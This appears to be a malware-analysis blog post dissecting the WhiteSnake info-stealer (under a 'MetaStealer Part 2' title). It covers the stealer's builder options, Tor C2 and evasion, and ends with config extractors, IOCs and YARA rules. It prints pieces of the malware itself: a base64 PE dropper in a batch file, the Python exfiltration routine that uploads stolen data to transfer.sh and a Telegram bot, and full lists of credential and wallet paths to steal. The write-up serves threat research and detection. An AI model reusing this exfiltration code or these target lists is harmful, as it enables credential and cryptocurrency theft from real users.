MetaStealer Part 2, Google Cookie Refresher Madness and Stealer Drama
MetaStealer Part 2 Malware Analysis
WhiteSnake Stealer first appeared on hacking forums at the beginning of February 2022.
The stealer collects data from various browsers such as Firefox, Chrome, Chromium, Edge, Brave, Vivaldi, CocCoc, and CentBrowser. Besides browsing data, it also collects data from Thunderbird, OBS-Studio, FileZilla, Snowflake-SSH, Steam, Signal, Telegram, Discord, Pidgin, Authy, WinAuth, Outlook, Foxmail, The Bat!, CoreFTP, WinSCP, AzireVPN, WindscribeVPN.
The following are crypto wallets collected by WhiteSnake: Atomic, Wasabi, Exodus, Binance, Jaxx, Zcash, Electrum-LTC, Guarda, Coinomi, BitcoinCore, Electrum, Metamask, Ronin, BinanceChain, TronLink, Phantom.
The subscription pricing for the stealer:
The stealer claims to leave no traces on the infected machine; it does not require the user to rent the server. The communication between the infected and the attacker’s controlled machine is handled by Tor. The stealer also has loader and grabber functionalities.
What also makes this stealer interesting and quite unique compared to other stealer families is the payload support in different file extensions such as EXE, SCR, COM, CMD, BAT, VBS, PIF, WSF, .hta, MSI, PY, DOC, DOCM, XLS, XLL, XLSM. Icarus Stealer was probably the closest one to this stealer with the file extension support feature. You can check out my write-up on it here. Another interesting feature is the Linux Stub Builder, where the user can generate Python or .sh (shell) files to run the stealer on Linux systems. The stealer would collect the data from the following applications: Firefox, Exodus, Electrum, FileZilla, Thunderbird, Pidgin, and Telegram.
But enough about the introduction. Let us jump into the technical part and the stealer panel overview.
WhiteSnake builder panel contains the settings to enable the Telegram bot for C2 communication. The user can also configure Loader and Grabber settings. The user can choose whether to encrypt the exfiltrated data with just an RC4 key or add an RSA encryption algorithm. With RC4 encryption, anyone with access to the stealer builder can decrypt the logs. But RSA + RC4 encryption algorithm, the user would need to know the private RSA key to be able to extract an RC4 key which is quite challenging.
The user can add the fake signature to the generated builds. There are currently eight signatures under the user’s exposal.
Stealers such as Vidar and Aurora (RIP) have the file size pumper enabled to append junk bytes to the end of the builds to increase the file, thus avoiding the detection and preventing it from being analyzed by most sandboxes. The user can pump the file size up to 1000MB. The user can choose a specific .NET framework version to run the stealer. Version 2.0 works for Windows 7, and version 4.7 works for Windows 8 and above.
The stealer has two execution methods:
Let’s look at some of the payloads with different file extensions.
The script grabs the substring that starts and ends with a specific index specified in the batch file. Taking, for example, echo %XMgElBtkFoDvgdYKfJpS:~0,600% , it extracts the substring starting from index 0 and ending at index 600 (inclusive) from the variable XMgElBtkFoDvgdYKfJpS, which is:
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJ
From:
set XMgElBtkFoDvgdYKfJpS=TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAKZEs4YAAAAAAAAAAOAAIgALATAAACAFAAAKAAAAAAAAHj4FAAAgAAAAQAUAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACABQAAAgAAAAAAAAIAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAMg9BQBTAAAAAEAFABQHAAAAAAAAAAAAAAAAAAAAAAAAAGAFAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAJB4FAAAgAAAAIAUAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAABQHAAAAQAUAAAgAAAAiBQAAAAAAAAAAAAAA6g
You might have noticed that the string begins with TVqQ, which decodes to an MZ header from Base64.
When the big base64-encoded blob is formulated, certutil is used to decode it, and the executable is launched under the mentioned %TEMP% folder.
With Python 3, the code checks if the operating system is Linux; if not, then it exits with the following condition:
if 'linux' not in H().lower():
exit(1)
The code also checks if the ISP obtained from the IP geolocation API matches certain predefined values. If a match is found with either ‘google’ or ‘mythic beasts’, the script exits with an exit code of 5 as shown below:
I,J=O.data.decode(N).strip().split('\n')
for P in ['google','mythic beasts']:
if P in J.lower():exit(5)
The screenshot caption function operates the following way:
with open(A.join(B,'system.json'),'w')as R:dump({'Screenshot':C,'Username':D(),'Compname':E(),'OS':H(),'Tag':T,'IP':I,'Stub version':k,'Execution timestamp':time()},R)
Let’s look at this function:
def p(buffer):
A = d(16)
B = Z(buffer)
C = m(A, B)
return b'LWSR$' + C + A
Which does the following:
The m function contains the RC4 encryption function shown below:
def m(key,data):
A=list(W(256));C=0;D=bytearray()
for B in W(256):C=(C+A[B]+key[B%len(key)])%256;A[B],A[C]=A[C],A[B]
B=C=0
for E in data:B=(B+1)%256;C=(C+A[B])%256;A[B],A[C]=A[C],A[B];D.append(E^A[(A[B]+A[C])%256])
return bytes(D)
j parameter contains the configuration of the stealer:
<?xml version="1.0" encoding="utf-8"?><Commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <commands><command name="2"><args><string>~/snap/firefox/common/.mozilla/firefox</string><string>~/.mozilla/firefox</string></args></command><command name="2"><args><string>~/.thunderbird</string></args></command><command name="0"><args><string>~/.config/filezilla</string><string>sitemanager.xml;recentservers.xml</string><string>Apps/FileZilla</string></args></command><command name="0"><args><string>~/.purple</string><string>accounts.xml</string><string>Apps/Pidgin</string></args></command><command name="0"><args><string>~/.local/share/TelegramDesktop/tdata;~/.var/app/org.telegram.desktop/data/TelegramDesktop/tdata;~/snap/telegram-desktop/current/.local/share/TelegramDesktop/tdata</string><string>*s;????????????????/map?</string><string>Grabber/Telegram</string></args></command><command name="0"><args><string>/home/vm/.config/Signal;~/snap/signal-desktop/current/.config/Signal</string><string>config.json;sql/db.sqlite</string><string>Grabber/Signal</string></args></command><command name="0"><args><string>~/.electrum/wallets;~/snap/electrum/current/.electrum/wallets</string><string>*wallet*</string><string>Grabber/Wallets/Electrum</string></args></command><command name="0"><args><string>~/.config/Exodus</string><string>exodus.conf.json;exodus.wallet/*.seco</string><string>Grabber/Wallets/Exodus</string></args></command> </commands></Commands>
The configuration is used to enumerate through the directories and extract the predefined data such as Firefox cookies and credentials, Thunderbird and FileZilla config files, cryptocurrency wallets, Telegram, and Signal data. The extracted data is then RC4-encrypted with a random 16-byte key, compressed in a ZIP archive, and sent over to transfer.sh and Telegram Bot.
The snippet that is responsible for sending data to transfer.sh and Telegram:
def q(buffer):I=buffer;B='https://transfer.sh/';A=B+f"{D()}@{E()}.wsr";G=F();K=G.request('PUT',A,body=I);J=K.data.decode(N).replace(B,B+'get/');A=b(C(chat_id=h,text='\n#{0}\n\n<b>OS:</b> <i>{1}</i>\n<b>Username:</b> <i>{2}</i>\n<b>Compname:</b> <i>{3}</i>\n<b>Report size:</b> <i>{4}Mb</i>\n'.format(T,H(),D(),E(),round(len(I)/(1024*1024),2)),parse_mode='HTML',reply_markup=dumps(C(inline_keyboard=[[C(text='Download',url=J),C(text='Open',url='http://127.0.0.1:18772/handleOpenWSR?r='+J)]]))));A='https://api.telegram.org/bot{0}/sendMessage?{1}'.format(i,A);G=F();G.request(M,A)
The data is sent to Telegram, where Download URL is the transfer.sh generated URL, which would be in the format transfer.sh/username@computername.wsr:
{
"chat_id": "",
"text": "\n#<BUILD_TAG\n\n<b>OS:</b> <i>[Operating System]</i>\n<b>Username:</b> <i>[Username]</i>\n<b>Compname:</b> <i>[Computer Name]</i>\n<b>Report size:</b> <i>[File Size]Mb</i>\n",
"parse_mode": "HTML",
"reply_markup": {
"inline_keyboard": [[{ "text": "Download", "url": "[Download URL]"}, {"text": "Open", "url": "http://127.0.0.1:18772/handleOpenWSR?r=[Download URL]"}]
]
}
}
It is worth noting that at the time of writing this report, transfer.sh has been down for a few weeks, so our Python 3 payload will not work ;)
The builder of WhiteSnake is built with Python. The standalone builder was built using PyInstaller, that includes all the necessary Python extension modules.
The WhiteSnake Stealer is written in .NET and is approximately 251KB in size (the latest version with all features enabled) in the obfuscated version. In the obfuscated stealer binary, the strings are RC4-encrypted, in the previous versions of the stealer, the strings obfuscation relied on XOR instead. In the newest version, the stealer developer removed the random callouts to legitimate websites.
The developer also removed string obfuscation that relied on building an array of characters and then converting the array into a string. The character for each position in the array is created by performing various operations, such as division, addition, and subtraction, on numeric values and lengths of strings or byte arrays.
I went ahead and used de4dot to decrypt all the strings and I also changed some of the method and class names to make it easier to understand the stealer functionality.
The code in the Entry Point below retrieves the location or filename of the executing assembly using Assembly.GetExecutingAssembly().Location. If the location is unavailable or empty, it tries to get the filename of the main module of the current process using Process.GetCurrentProcess().MainModule.FileName. If either the location or the filename is not empty, it assigns the value to the text variable. If there is an exception during the process, it catches the exception and writes the error message to installUtilLog.txt file located at %TEMP%.
Next, the stealer checks if the Mutex is already present to avoid two instances of the stealer running. The mutex value is present in the configuration of the stealer. If the mutex is present, the stealer will exit.
If the AntiVM is enabled, the flag to 1 is set. The stealer checks for the presence of the sandboxes by utilizing the WMI (Windows Management Instrumentation) query:
The query retrieves the “Model” and “Manufacturer” properties. The stealer checks if any of the properties contain the strings:
And if one of the strings is present, the stealer exits out.
Next, the stealer checks if the execution method flag is set to 1, meaning that the resident mode is enabled. If the mode is enabled, the stealer creates the persistence via scheduled task on the host
The example of the task creation cmdline:
The folder name EsetSecurity is also obtained from the configuration of the stealer.
Moving forward, the Tor directory is created under the random name retrieved from the configuration under %LOCALAPPDATA%. The TOR archive is then retrieved from https://archive.torproject.org/. Tor, short for “The Onion Router,” is a free and open-source software project that aims to provide anonymous communication on the Internet. WhiteSnake uses TOR for communication, which makes it quite unique compared to other stealers. Hidden services or onion services allow services to be hosted on the Tor network without requiring traditional servers or port forwarding configurations. With Tor’s hidden services, the connection is established within the Tor network itself, which provides anonymity. When a hidden service is set up, it generates a unique address ending with .onion under C:\Users<username>\AppData\Local<random_name>\host. This address can only be accessed through the Tor network, and the connection is routed through a series of Tor relays, making it difficult to trace the actual attacker’s server.
The function below is responsible for building out the torr.txt, also known as Tor configuration file.
Example of the Tor configuration file:
The stealer then proceeds to check if the file report.lock exists within the created Tor directory, if it does not, the stealer proceeds with loading the APIs such as GetModuleHandleA, GetForegroundWindow, GetWindowTextLengthA, GetWindowTextA, GetWindowThreadProcessId, and CryptUnprotectData. Then it proceeds with parsing the stealer configuration (the data to be exfiltrated). I have beautified the configuration for a simplified read.
<?xml version="1.0" encoding="utf-16"?>
<Commands xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<commands>
<command name="2">
<args>
<string>Mozilla\Firefox</string>
</args>
</command>
<command name="2">
<args>
<string>Thunderbird</string>
</args>
</command>
<command name="1">
<args>
<string>Google\Chrome</string>
</args>
</command>
<command name="1">
<args>
<string>Yandex\YandexBrowser</string>
</args>
</command>
<command name="1">
<args>
<string>Vivaldi</string>
</args>
</command>
<command name="1">
<args>
<string>CocCoc\Browser</string>
</args>
</command>
<command name="1">
<args>
<string>CentBrowser</string>
</args>
</command>
<command name="1">
<args>
<string>BraveSoftware\Brave-Browser</string>
</args>
</command>
<command name="1">
<args>
<string>Chromium</string>
</args>
</command>
<command name="1">
<args>
<string>Microsoft\Edge</string>
</args>
</command>
<command name="1">
<args>
<string>Opera</string>
<string>%AppData%\Opera Software\Opera Stable</string>
</args>
</command>
<command name="1">
<args>
<string>OperaGX</string>
<string>%AppData%\Opera Software\Opera GX Stable</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\dolphin_anty</string>
<string>db.json</string>
<string>Apps\DolphinAnty</string>
</args>
</command>
<command name="0">
<args>
<string>%USERPROFILE%\OpenVPN\config</string>
<string>*\*.ovpn</string>
<string>Grabber\OpenVPN</string>
</args>
</command>
<command name="4">
<args>
<string>SOFTWARE\Martin Prikryl\WinSCP 2\Sessions\*</string>
<string>HostName;UserName;Password</string>
<string>Apps\WinSCP\sessions.txt</string>
</args>
</command>
<command name="4">
<args>
<string>SOFTWARE\FTPWare\CoreFTP\Sites\*</string>
<string>Host;Port;User;PW</string>
<string>Apps\CoreFTP\sessions.txt</string>
</args>
</command>
<command name="4">
<args>
<string>SOFTWARE\Windscribe\Windscribe2</string>
<string>userId;authHash</string>
<string>Apps\Windscribe\token.txt</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\Authy Desktop\Local Storage\leveldb</string>
<string>*</string>
<string>Grabber\Authy</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\WinAuth</string>
<string>*.xml</string>
<string>Grabber\WinAuth</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\obs-studio\basic\profiles</string>
<string>*\service.json</string>
<string>Apps\OBS</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\FileZilla</string>
<string>sitemanager.xml;recentservers.xml</string>
<string>Apps\FileZilla</string>
</args>
</command>
<command name="0">
<args>
<string>%LocalAppData%\AzireVPN</string>
<string>token.txt</string>
<string>Apps\AzireVPN</string>
</args>
</command>
<command name="0">
<args>
<string>%USERPROFILE%\snowflake-ssh</string>
<string>session-store.json</string>
<string>Apps\Snowflake</string>
</args>
</command>
<command name="0">
<args>
<string>%ProgramFiles(x86)%\Steam</string>
<string>ssfn*;config\*.vdf</string>
<string>Grabber\Steam</string>
</args>
</command>
<command name="1">
<args>
<string>Discord</string>
<string>%Appdata%\Discord</string>
</args>
</command>
<command name="0">
<args>
<string>%Appdata%\Discord\Local Storage\leveldb</string>
<string>*.l??</string>
<string>Browsers\Discord\leveldb</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\The Bat!</string>
<string>ACCOUNT.???</string>
<string>Grabber\The Bat!</string>
</args>
</command>
<command name="0">
<args>
<string>%SystemDrive%</string>
<string />
<string>Apps\Outlook\credentials.txt</string>
</args>
</command>
<command name="0">
<args>
<string>%SystemDrive%</string>
<string>Account.rec0</string>
<string>Apps\Foxmail</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\Signal</string>
<string>config.json;sql\db.sqlite</string>
<string>Grabber\Signal</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\.purple</string>
<string>accounts.xml</string>
<string>Apps\Pidgin</string>
</args>
</command>
<command name="5">
<args>
<string>Telegram;tdata</string>
<string>%AppData%\Telegram Desktop\tdata</string>
<string>*s;????????????????\*s</string>
<string>Grabber\Telegram</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\ledger live</string>
<string>app.json</string>
<string>Grabber\Wallets\Ledger</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\atomic\Local Storage\leveldb</string>
<string>*.l??</string>
<string>Grabber\Wallets\Atomic</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\WalletWasabi\Client\Wallets</string>
<string>*.json</string>
<string>Grabber\Wallets\Wasabi</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\Binance</string>
<string>*.json</string>
<string>Grabber\Wallets\Binance</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\Guarda\Local Storage\leveldb</string>
<string>*.l??</string>
<string>Grabber\Wallets\Guarda</string>
</args>
</command>
<command name="0">
<args>
<string>%LocalAppData%\Coinomi\Coinomi</string>
<string>*.wallet</string>
<string>Grabber\Wallets\Coinomi</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\Bitcoin\wallets</string>
<string>*\*wallet*</string>
<string>Grabber\Wallets\Bitcoin</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\Electrum\wallets</string>
<string>*</string>
<string>Grabber\Wallets\Electrum</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\Electrum-LTC\wallets</string>
<string>*</string>
<string>Grabber\Wallets\Electrum-LTC</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\Zcash</string>
<string>*wallet*dat</string>
<string>Grabber\Wallets\Zcash</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\Exodus</string>
<string>exodus.conf.json;exodus.wallet\*.seco</string>
<string>Grabber\Wallets\Exodus</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb</string>
<string>.l??</string>
<string>Grabber\Wallets\JaxxLiberty</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\Jaxx\Local Storage\leveldb</string>
<string>.l??</string>
<string>Grabber\Wallets\JaxxClassic</string>
</args>
</command>
<command name="3">
<args>
<string>Metamask</string>
<string>nkbihfbeogaeaoehlefnkodbefgpgknn</string>
</args>
</command>
<command name="3">
<args>
<string>Ronin</string>
<string>fnjhmkhhmkbjkkabndcnnogagogbneec</string>
</args>
</command>
<command name="3">
<args>
<string>BinanceChain</string>
<string>fhbohimaelbohpjbbldcngcnapndodjp</string>
</args>
</command>
<command name="3">
<args>
<string>TronLink</string>
<string>ibnejdfjmmkpcnlpebklmnkoeoihofec</string>
</args>
</command>
<command name="3">
<args>
<string>Phantom</string>
<string>bfnaelmomeimhlpmgjnjophhpkkoljpa</string>
</args>
</command>
<command name="0">
<args>
<string>%UserProfile%\Desktop</string>
<string>*.txt;*.doc*;*.xls*;*.kbd*;*.pdf</string>
<string>Grabber\Desktop Files</string>
</args>
</command>
</commands>
</Commands>
The code below is responsible for parsing and retrieving information from directories and files related to browsing history, cookies, and extensions.
WhiteSnake creates the WSR file that is encrypted using the RC4-encryption algorithm with a key generated on the fly. The WSR filename is comprised of the first random 5 characters, followed by _username`, @computername and _report, the example is shown below. The WSR is the file containing the exfiltrated data.
It is worth noting that if the attacker has RC4 + RSA encryption option set (by default), then the RC4 key is encrypted with RSA encryption, and the RSA public key is stored in the configuration.
Below is the function responsible for basic information parsing.
The stealer appends certain fields to the basic information of the infected machine before sending it out to Telegram Bot configured by an attacker.
The WSR log file is uploaded to one of the available servers listed in the configuration file. If one of servers is not available and the web request fails, the stealer tries the next IP on the list.
The attacker has two options to get the logs from Telegram.
The snippet of Outlook parsing is shown below. The stealer retrieves Outlook information from the registry key based on the default profile.
WhiteSnake stealer uses WMI queries for basic system information enumeration as mentioned above. Here are some other queries that are ran by the stealer:
The stealer retrieves the list of installed applications by querying the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
If the Loader capability is enabled, the stealer will attempt to retrieve it from the payload hosting URL and place it under %LOCALAPPDATA%. Then UseShellExecute is used to run the executable.
If the USB Spread option is enabled, the stealer performs the following:
With the Local User Spread option, the stealer queries for user accounts with Win32_UserAccount. Then it copies the stealer executable to the Startup folder of user accounts on the local computer, excluding the current user’s Startup folder.
Upon successful execution of the stealer, it deletes itself using the command
Below is the functionality of the keylogger.
The keylogger function relies on the APIs:
Another unique feature of WhiteSnake is the remote terminal that allows an attacker to establish the remote session with the infected machine and execute certain commands such as:
The code responsible for the remote terminal functionality is shown below.
For the webcam, the stealer retrieves devices of class “Image” or “Camera” using the Win32_PnPEntity class in the Windows Management Instrumentation (WMI) database. The stealer attempts to capture an image from the webcam and returns the image data as a byte array in PNG format. It uses various API functions such as capCreateCaptureWindowA, SendMessageA, and the clipboard to perform the capture.
I wrote the configuration extractor for samples that are obfuscated with XOR and RC4 that relies on dnlib.
#Author: RussianPanda
#Tested on samples:
# f7b02278a2310a2657dcca702188af461ce8450dc0c5bced802773ca8eab6f50
# c219beaecc91df9265574eea6e9d866c224549b7f41cdda7e85015f4ae99b7c7
import argparse
import clr
parser = argparse.ArgumentParser(description='Extract information from a target assembly file.')
parser.add_argument('-f', '--file', required=True, help='Path to the stealer file')
parser.add_argument('-d', '--dnlib', required=True, help='Path to the dnlib.dll')
args = parser.parse_args()
clr.AddReference(args.dnlib)
import dnlib
from dnlib.DotNet import *
from dnlib.DotNet.Emit import OpCodes
module = dnlib.DotNet.ModuleDefMD.Load(args.file)
def xor_strings(data, key):
return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(data, key * (len(data) // len(key) + 1)))
def has_target_opcode_sequence(method):
target_opcode_sequence = [OpCodes.Ldstr, OpCodes.Ldstr, OpCodes.Call, OpCodes.Stelem_Ref]
if method.HasBody:
opcode_sequence = [instr.OpCode for instr in method.Body.Instructions]
for i in range(len(opcode_sequence) - len(target_opcode_sequence) + 1):
if opcode_sequence[i:i + len(target_opcode_sequence)] == target_opcode_sequence:
return True
return False
def process_methods():
decrypted_strings = []
check_list = []
for type in module.GetTypes():
for method in type.Methods:
if has_target_opcode_sequence(method) and method.HasBody:
instructions = list(method.Body.Instructions)
for i in range(len(instructions) - 1):
instr1 = instructions[i]
instr2 = instructions[i + 1]
if instr1.OpCode == OpCodes.Ldstr and instr2.OpCode == OpCodes.Ldstr:
data = instr1.Operand
key = instr2.Operand
if isinstance(data, str) and isinstance(key, str):
decrypted_string = xor_strings(data, key)
decrypted_strings.append(decrypted_string)
# Only consider ldstr instructions
if instr1.OpCode == OpCodes.Ldstr and (instr1.Operand == '1' or instr1.Operand == '0'):
check_list.append(instr1.Operand)
return decrypted_strings, check_list
def print_stealer_configuration(decrypted_strings, xml_declaration_index):
config_cases = {
".": {
"offsets": [(5, "Telgeram Bot Token"), (7, "Mutex"), (8, "Build Tag"), (4, "Telgeram Chat ID"),
(1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"), (6, "RSAKeyValue")]
},
"RSAKeyValue": {
"offsets": [(1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"), (3, "Build Version"),
(4, "Telgeram Chat ID"), (5, "Telgeram Bot Token"), (6, "Mutex"), (7, "Build Tag")]
},
"else": {
"offsets": [(1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"), (3, "Build Version"),
(4, "Telgeram Chat ID"), (5, "Telgeram Bot Token"), (6, "RSAKeyValue"), (7, "Mutex"),
(8, "Build Tag")]
}
}
condition = "." if "." in decrypted_strings[xml_declaration_index - 1] else \
"RSAKeyValue" if "RSAKeyValue" not in decrypted_strings[xml_declaration_index - 6] else "else"
offsets = config_cases[condition]["offsets"]
config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in offsets if xml_declaration_index >= o}
for o, n in offsets:
print(f"{n}: {config_data.get(o, 'Not Found')}")
def print_features_status(check_list):
features = [
(0, "AntiVM"),
(1, "Resident"),
(2, "Auto Keylogger"),
(3, "USB Spread"),
(4, "Local Users Spread"),
]
for o, n in features:
status = 'Enabled' if check_list[o] == '1' else 'Disabled'
print(f"{n}: {status}")
def print_C2(decrypted_strings):
for data in decrypted_strings:
if "http://" in data and "127.0.0.1" not in data and "www.w3.org" not in data:
print("C2: " + data)
def main():
decrypted_strings, check_list = process_methods()
xml_declaration = '<?xml version="1.0" encoding="utf-16"?>'
xml_declaration_index = next((i for i, s in enumerate(decrypted_strings) if xml_declaration in s), None)
if xml_declaration_index is not None:
print("Stealer Configuration: " + decrypted_strings[xml_declaration_index])
print_stealer_configuration(decrypted_strings, xml_declaration_index)
print_features_status(check_list)
print_C2(decrypted_strings)
if __name__ == "__main__":
main()
Output example:
#Author: RussianPanda
import argparse
import clr
import logging
parser = argparse.ArgumentParser(description='Extract information from a target assembly file.')
parser.add_argument('-f', '--file', required=True, help='Path to the stealer file')
parser.add_argument('-d', '--dnlib', required=True, help='Path to the dnlib.dll')
args = parser.parse_args()
clr.AddReference(args.dnlib)
import dnlib
from dnlib.DotNet import *
from dnlib.DotNet.Emit import OpCodes
module = dnlib.DotNet.ModuleDefMD.Load(args.file)
logging.basicConfig(filename='app.log', filemode='w', format='%(name)s - %(levelname)s - %(message)s')
def Ichduzekkvzjdxyftabcqu(A_0, A_1):
try:
string_builder = []
num = 0
array = list(range(256))
for i in range(256):
array[i] = i
for j in range(256):
num = ((ord(A_1[j % len(A_1)]) + array[j] + num) % 256)
num2 = array[j]
array[j] = array[num]
array[num] = num2
for k in range(len(A_0)):
num3 = k % 256
num = (array[num3] + num) % 256
num2 = array[num3]
array[num3] = array[num]
array[num] = num2
decrypted_char = chr(ord(A_0[k]) ^ array[(array[num3] + array[num]) % 256])
string_builder.append(decrypted_char)
return ''.join(string_builder)
except Exception as e:
logging.error("Error occurred in Ichduzekkvzjdxyftabcqu: " + str(e))
return None
def has_target_opcode_sequence(method):
target_opcode_sequence = [OpCodes.Ldstr, OpCodes.Ldstr, OpCodes.Call, OpCodes.Stelem_Ref]
if method.HasBody:
# Get the sequence of OpCodes in the method
opcode_sequence = [instr.OpCode for instr in method.Body.Instructions]
# Check if the target sequence is present in the opcode sequence
for i in range(len(opcode_sequence) - len(target_opcode_sequence) + 1):
if opcode_sequence[i:i+len(target_opcode_sequence)] == target_opcode_sequence:
return True
return False
ldstr_counter = 0
decrypted_strings = []
for type in module.GetTypes():
for method in type.Methods:
if method.HasBody and has_target_opcode_sequence(method):
instructions = list(method.Body.Instructions)
for i, instr in enumerate(instructions):
# Only consider ldstr instructions
if instr.OpCode == OpCodes.Ldstr:
ldstr_counter += 1
if ldstr_counter > 21:
if instr.Operand == '1' or instr.Operand == '0':
decrypted_strings.append(instr.Operand)
elif i + 1 < len(instructions):
encrypted_data = instr.Operand
rc4_key = instructions[i + 1].Operand
if isinstance(encrypted_data, str) and isinstance(rc4_key, str):
decrypted_data = Ichduzekkvzjdxyftabcqu(encrypted_data, rc4_key)
if decrypted_data:
decrypted_strings.append(decrypted_data)
xml_declaration = '<?xml version="1.0" encoding="utf-16"?>'
xml_declaration_index = next((i for i, s in enumerate(decrypted_strings) if xml_declaration in s), None)
if xml_declaration_index is not None:
print("Stealer Configuration: " + decrypted_strings[xml_declaration_index])
offsets = [(11, "RSAKeyValue"), (12, "Mutex"), (13, "Build Tag")]
config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in offsets if xml_declaration_index >= o}
for o, n in offsets:
print(f"{n}: {config_data.get(o, 'Not Found')}")
offsets = [
(10, "Telgeram Bot Token"),
(9, "Telgeram Chat ID"),
(1, "Stealer Tor Folder Name"),
(2, "Stealer Folder Name"),
(3, "Stealer Version"),
]
features = [
(4, "Local Users Spread"),
(5, "USB Spread"),
(6, "Auto Keylogger"),
(7, "Execution Method"),
(8, "AntiVM"),
]
config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in offsets if xml_declaration_index >= o}
for o, n in offsets:
print(f"{n}: {config_data.get(o, 'Not Found')}")
config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in features if xml_declaration_index >= o}
for o, n in features:
status = 'Enabled' if config_data.get(o, '0') == '1' else 'Not Enabled'
print(f"{n}: {status}")
for data in decrypted_strings:
if "http://" in data and "127.0.0.1" not in data and "www.w3.org" not in data:
print("C2: " + data)
I am not providing the hashes for the newest version to keep the anonymity and to avoid stealer developer hunting me down. You can access both of the configuration extractors on my GitHub page
Personally, I think, WhiteSnake Stealer is undoubtedly one of the leading stealers available, offering numerous features and ensuring secure log delivery and communication. Probably one of my favorite stealers that I have ever analyzed so far. As always, your feedback is very welcome :)
Name | Indicators |
---|---|
C2 | 172.104.152.202:8080 |
C2 | 116.202.101.219:8080 |
C2 | 212.87.204.197:8080 |
C2 | 212.87.204.196:8080 |
C2 | 81.24.11.40:8080 |
C2 | 195.201.135.141:9202 |
C2 | 18.171.15.157:80 |
C2 | 45.132.96.113:80 |
C2 | 5.181.12.94:80 |
C2 | 185.18.206.168:8080 |
C2 | 212.154.86.44:83 |
C2 | 185.217.98.121:80 |
C2 | 172.245.180.159:2233 |
C2 | 216.250.190.139:80 |
C2 | 205.185.123.66:8080 |
C2 | 66.42.56.128:80 |
C2 | 104.168.22.46:8090 |
C2 | 124.223.67.212:5555 |
C2 | 154.31.165.232:80 |
C2 | 85.8.181.218:80 |
C2 | 139.224.8.231:8080 |
C2 | 106.55.134.246:8080 |
C2 | 144.22.39.186:8080 |
C2 | 8.130.31.155:80 |
C2 | 116.196.97.232:8080 |
C2 | 123.129.217.85:8080 |
C2 | 106.15.66.6:8080 |
C2 | 106.3.136.82:80 |
SHA-256 | f7b02278a2310a2657dcca702188af461ce8450dc0c5bced802773ca8eab6f50 |
SHA-256 | c219beaecc91df9265574eea6e9d866c224549b7f41cdda7e85015f4ae99b7c7 |
rule WhiteSnakeStealer {
meta:
author = "RussianPanda"
description = "Detects WhiteSnake Stealer XOR version"
date = "7/5/2023"
strings:
$s1 = {FE 0C 00 00 FE 09 00 00 FE 0C 02 00 6F ?? 00 00 0A FE 0C 03 00 61 D1 FE 0E 04 00 FE}
$s2 = {61 6e 61 6c 2e 6a 70 67}
condition:
all of ($s*) and filesize < 600KB
}
rule WhiteSnakeStealer {
meta:
author = "RussianPanda"
description = "detects WhiteSnake Stealer RC4 version"
date = "7/5/2023"
strings:
$s1 = {73 68 69 74 2e 6a 70 67}
$s2 = {FE 0C ?? 00 20 00 01 00 00 3F ?? FF FF FF 20 00 00 00 00 FE 0E ?? 00 38 ?? 00 00 00 FE 0C}
$s3 = "qemu" wide
$s4 = "vbox" wide
condition:
all of ($s*) and filesize < 300KB
}